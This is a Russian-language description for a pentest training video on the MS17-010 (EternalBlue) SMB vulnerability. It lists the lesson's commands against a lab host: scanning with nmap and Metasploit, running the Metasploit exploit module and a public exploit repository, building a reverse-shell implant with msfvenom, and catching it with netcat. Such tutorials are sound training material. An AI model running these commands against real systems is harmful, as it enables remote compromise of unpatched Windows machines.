MS17-010 (ETERNAL BLUE) Часть 1

С этого видео ролика мы начнем изучение атак на сетевую инфраструктуру. Для начала мы с Вами рассмотрим простые уязвимости со средней глубиной погружения, чтобы в дальнейшем вы сами смогли многие моменты разбирать без труда. ----------------------------------------------------------------------------------------------------------------------- Приходите в гости: https://t.me/pro_pentest https://t.me/fck_harder ----------------------------------------------------------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------------------------- КОМАНДНЫ КОТОРЫЕ Я ИСПОЛЬЗОВАЛ НА УРОКЕ: ----------------------------------------------------------------------------------------------------------------------- Верификация уязвимости nmap: nmap -p445 --script smb-vuln-ms17-010 192.168.0.59 Верификация уязвимости msfconsole: use auxiliary/scanner/smb/smb_ms17_010 cat /usr/share/metasploit-framework/data/wordlists/named_pipes.txt set CHECK_PIPE true set RHOSTS 192.168.0.59 exploit Верификация уязвимости nxc: nxc smb 192.168.0.59 -M ms17-010 ----------------------------------------------------------------------------------------------------------------------- Автоматизированная эксплуатация: use exploit/windows/smb/ms17_010_eternalblue set rhost 192.168.0.59 run ----------------------------------------------------------------------------------------------------------------------- Загрузка зависимостей для ручной эксплуатации: curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py sudo python2.7 get-pip.py sudo python2.7 -m pip install distribute sudo python2.7 -m pip install impacket==0.10.0 git clone https://github.com/worawit/MS17-010.git cd MS17-010/ python2.7 checker.py 192.168.0.59 Генерирование импланта (reverse shell): msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.0.143 lport=4444 -f exe -o implant.exe Создать скрин: screen -S shell screen -S exploit Запуск прослушивателя: nc -nvlp 4444 Выйти из контекста скрина: Ctrl+A+D Зайти в ранее созданный скрин по имени: screen -x shell Зайти в ранее созданный скрин по ID: screen -r 5453434 ----------------------------------------------------------------------------------------------------------------------- Дисклеймер Это обучающее видео создано исключительно в образовательных целях. Ответственность: Автор видео не несет ответственности за любые последствия, вызванные неправильным использованием информации, представленной в этом видео. Видео предназначено для повышения уровня знаний в области информационной безопасности и не поощряет и не поддерживает любую незаконную деятельность. Образовательные цели: Видео создано для обучения специалистов по информационной безопасности, студентов и всех, кто интересуется вопросами защиты данных и систем. Цель видео — помочь зрителям понять принципы работы различных методов защиты и атак для улучшения общей безопасности их систем. Используйте информацию ответственно и в рамках закона!